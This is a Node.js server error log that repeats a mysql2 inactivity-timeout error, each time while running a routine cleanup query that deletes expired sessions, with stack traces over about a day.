    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 21:14:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 22:00:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 22:00:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 22:38:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 22:38:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 23:19:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 23:19:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 23:50:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 23:50:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 00:03:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 00:03:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 00:24:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 00:24:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 02:58:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 02:58:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 03:46:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 03:46:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 07:26:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 07:26:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 07:35:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 07:35:16' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 07:55:41' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 07:55:41' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 09:26:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 09:26:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 10:15:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 10:15:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 11:02:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 11:02:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 11:56:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 11:56:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 12:18:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 12:18:39' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 13:26:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 13:26:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 13:44:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 13:44:40' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 14:22:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-01 14:22:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-01 14:23:40' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
